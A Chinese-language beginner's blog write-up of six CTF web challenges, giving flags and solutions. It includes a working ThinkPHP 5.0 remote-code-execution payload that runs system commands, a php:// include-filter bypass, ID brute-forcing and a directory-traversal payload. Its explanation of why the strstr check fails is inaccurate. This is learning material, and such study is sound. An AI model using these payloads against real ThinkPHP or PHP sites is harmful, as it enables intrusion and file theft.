文章目录
- 前言
- - - > baby_web
- - - > Training-WWW-Robots
- - - > php_rce
- - - > Web_php_include
- - - > ics-06
- - - > warmup
-
- 总结/收获
前言
最近也算正式开始了安全方面的学习,想总结一下写过的一些题目,觉得写博客是一个不错的可以记录学习历程的方式,目前是零基础小白,也是第一次写博客,有收藏很多大佬的博客,往后会好好学习师傅们的博客内容,优化一下自己的博客。(有师傅有好的建议的话也可以提一提🌹)
- - > baby_web
* 考点:重定向
题目描述:想想初始页面是哪个
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsICM38FdsYkRGZkRG9lcvx2bjxiNx8VZ6l2cs0TPR5EeZpWT0sGVNFDOsJGcohVYsR2MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnLwQWZzUmY5UjZ4ADOidjY5MmN5QzYklDZlV2NiBTM5E2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
根据题目描述的提示,访问index.php后发现重定向,尝试抓包
访问得到flag:flag{very_baby_web}
- - > Training-WWW-Robots
* 考点:robots.txt
访问robots.txt,发现有
访问得到
flagcyberpeace{eac017d052248ca0093cc503b9e8ff07}
- - > php_rce
打开发现是thinkphp5.0框架,直接百度搜索该框架漏洞
戳- - > thinkphp_RCE漏洞 < - -
直接利用RCE漏洞的payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag 得到
再payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
flag:flag{thinkphp5_rce}
- - > Web_php_include
* 考点:php://的绕过(php伪协议)
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
strstr()函数:查找字符串首次出现的位置,返回字符串及后边剩余部分
## strstr函数对大小写不敏感,所以这题可以用PHP://来绕过
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
## 此题还可以用data://来写
- - > ics-06
* 考点:爆破
题目描述: 云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
点开报表中心
抓包爆破ID,从1到10000
cyberpeace{f6eda182317020925da505f78a88a97a}
- - > warmup
* 考点:代码审计、目录穿越
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
<img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
substr()函数:substr($str,0,2)返回字符串中第1个字符开始,长度为2的内容
mb_substr():字符串中可含有中文
mb_strpos(): 返回被查找的字符串在另一字符串中首次出现的位置
mb_strpos(‘哔啦啦’,‘啦啦’):返回1
include ‘hint.php?flag.php’; 将返回后面的文件
此题payload:?file=hint.php?/…/…/…/…/…/…/ffffllllaaaagggg
得到flag: flag{25e7bce6005c4e0c983fb97297ac6e5a}
总结/收获
* strstr()函数对大小写不敏感,可以用此特性绕过